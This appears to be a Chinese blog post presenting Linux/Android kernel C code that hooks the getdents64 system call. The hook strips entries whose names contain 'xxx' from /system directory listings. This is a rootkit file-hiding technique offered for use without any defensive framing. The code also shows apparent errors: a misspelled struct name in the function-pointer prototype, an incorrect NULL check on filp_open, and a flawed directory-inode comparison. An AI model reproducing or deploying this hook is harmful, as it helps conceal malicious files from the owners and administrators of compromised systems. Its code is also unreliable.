hook sys_getdents64隐藏文件


long (*orig_getdents64)(unsigned int fd, struct linux_dirents64 *dirp, unsigned int count);

unsigned long system_ino = -1;  // ino of /system

void system_ino_init(void)
{
    struct file *filp;

    if ((filp = filp_open("/system", O_RDONLY, 0)) != NULL)
    {
        system_ino = filp->f_dentry->d_inode->i_ino;
        filp_close(filp, NULL);
    }
}

asmlinkage long hacked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    long ret, tmp;
    struct linux_dirent64 *td;

    ret = orig_getdents64(fd, dirp, count);

    /* Only hide file in /system */
    if (unlikely(dirp->d_ino == system_ino))
    {
        td = dirp;
        tmp = ret;
        while (tmp > 0) 
        {
            tmp -= td->d_reclen;

            if (strstr(td->d_name, "xxx") != NULL) 
            {
                ret -= td->d_reclen;
                if (tmp)
                    memmove(td, (char *)td + td->d_reclen, tmp);
            }
            else
            {
                td = (struct linux_dirent64 *)((char *)td + td->d_reclen);
            }
        }
    }

    return ret;
}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值